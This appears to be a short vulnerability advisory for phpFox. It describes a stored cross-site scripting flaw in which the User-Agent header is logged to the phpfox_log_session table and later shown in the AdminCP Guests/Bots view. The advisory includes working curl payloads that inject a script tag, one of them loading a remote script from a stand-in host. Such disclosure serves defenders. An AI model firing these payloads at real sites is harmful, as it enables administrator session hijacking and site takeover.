[+] DESCRIPTION
The system stores all urls accessed in a database table, below
information in the same 'phpfox_log_session'
[phpfox]> desc phpfox_log_session;
+---------------+----------------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+---------------+----------------------+------+-----+---------+-------+
| session_hash | char(32) | NO | MUL | NULL | |
| id_hash | char(32) | NO | | NULL | |
| captcha_hash | char(32) | YES | MUL | NULL | |
| user_id | int(10) unsigned | NO | MUL | NULL | |
| last_activity | int(10) unsigned | NO | MUL | NULL | |
| location | varchar(255) | YES | | NULL | |
| is_forum | tinyint(1) | NO | | NULL | |
| forum_id | smallint(4) unsigned | NO | | NULL | |
| im_status | tinyint(1) | NO | | 0 | |
| im_hide | tinyint(1) | NO | | 0 | |
| ip_address | varchar(15) | NO | | NULL | |
| user_agent | varchar(100) | NO | | NULL | |
+---------------+----------------------+------+-----+---------+-------+
the column that can be manipulated is:
-> user_agent (100)
all acess store in the system, such as bots and users wandering around the
web site, can be seen in:
AdminCP
TOOLS > Online > Guests/Boots
Output
| IP ADDRESS | User-Agent | ...
knowing this, the following code was created to inject a script into the
AdminCP with User-Agent.
$ curl -A "<script src='http://www.example.com/script.js'></script>" \
http://www.meusite.com.br/
OR
$ curl -A "<script>alert(1);</script>" http://www.meusite.com.br/
when any user with administrative access in.
'AdminCP'
TOOLS > Online > Guests/Boots
we have the script running in the administrative area.
